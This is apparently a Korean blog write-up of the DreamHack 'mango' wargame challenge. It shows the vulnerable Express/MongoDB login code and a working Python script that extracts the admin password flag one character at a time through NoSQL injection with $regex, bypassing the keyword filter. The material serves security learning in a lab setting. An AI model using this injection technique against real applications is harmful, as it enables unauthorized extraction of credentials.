[WEBHACKING] DreamHack 웹해킹1 로드맵 / wargame mango

jckim22·2022년 10월 13일
0

먼저 노드 js의 express 미들웨어를 알아보자

아래 코드를 보면 각 위치에 것들이 무슨 역할 하는지 알 수 있다.
app.get : get요청으로
app.get(/login,:/login 경로에
app.get(/login, function(req, res){res.send("Hello World");})
함수를 핸들러로 사용해서 실행한다.

var express = require('express');
var app = express();
/** 
METHOD : Http Method(GET, POST, PUT, DELETE, PATCH 등)
* PATH : [경로]
* HANDLER : [경로 접근 시, 처리 핸들러]
*/
app.METHOD(PATH, HANDLER)

이제 문제의 서버 코드를 살펴보자

const express = require('express');
const app = express();

const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true });
const db = mongoose.connection;

// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];

filter = function(data){
    const dump = JSON.stringify(data).toLowerCase();
    var flag = false;
    BAN.forEach(function(word){
        if(dump.indexOf(word)!=-1) flag = true;
    });
    return flag;
}

app.get('/login', function(req, res) {
    if(filter(req.query)){
        res.send('filter');
        return;
    }
    const {uid, upw} = req.query;

    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){
            res.send('err');
        }else if(result){
            res.send(result['uid']);
        }else{
            res.send('undefined');
        }
    })
});

app.get('/', function(req, res) {
    res.send('/login?uid=guest&upw=guest');
});

app.listen(8000, '0.0.0.0');

먼저 메인페이지에서는 /login?uid=guest&upw=guest 라는 텍스트를 응답한다.
그 다음은 /login 페이지를 보자 요청을 받으면 GET으로 받은 값들을 먼저 필터링을 하고 uid,upw에 담는다.
이후 담은 값들을 이용해서 데이터베이스를 통하여 id와 pw가 일치하는 유저를 찾는다.

우리는 저 GET으로 받는 값들에 악의적인 인젝션 코드를 브루트포스 기법으로 보내서 계속적으로 응답을 받을 것이다.
참이라면 그에 맞는 uid값을 보낸다,

그렇다면 우리가 할 것은
uid가 admin일 때 pw를 하나씩 물어보면서 참인지 아닌지 응답을 받는 것이다.

그럼 파이썬 코드를 작성해보자

import requests
import string

url="http://host3.dreamhack.games:24112/login?uid[$regex]=ad...&upw[$regex]=D.{"
alphanumeric = string.ascii_letters + string.digits
flag=""


for x in range(32):
    for ch in alphanumeric:
        res=requests.get(url+flag+ch+".*")
        if(res.text=='admin'):
            flag+=ch
            print("DH{"+flag+ch+"}")
            break


print("DH{"+flag+"}")

이 코드를 해석하면 타겟 서버에 get으로 요청을 보내는데 그 url의 param은 uid[$regex]=ad...&upw[$regex]=D.{" 이다
uid가 ad... 이면서 upw가 D.{ 인 것이다.

여기서 ..은 임의의 문자이고 필터링을 피하기 위해서 사용한다.

여기서 끝나게 되면 D.{이라는 upw가 고정값이 되기 때문에 그 뒤에 무엇이 와도 좋다는 문자를 넣어야한다.
그것은 .* 이라는 문자이다.
*은 리눅스에서도 써서 알겠지만 모든 걸 뜻한다.

그렇게 for문을 작동하고 flag의 길이인 32번의 반복마다 알파벳을 모두 돌며 한 글자씩 찾아서 flag에 담는 일을 수행한다.

그렇게 되면 아래처럼
flag를 얻을 수 있다.

profile
개발/보안

0개의 댓글